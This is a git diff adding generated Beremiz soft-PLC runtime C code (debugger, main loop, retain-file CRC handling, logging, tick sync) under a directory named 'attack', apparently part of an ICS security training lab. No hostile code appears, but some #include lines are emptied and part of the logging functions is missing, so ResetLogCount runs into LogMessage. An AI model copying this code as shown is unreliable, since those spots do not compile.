transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as 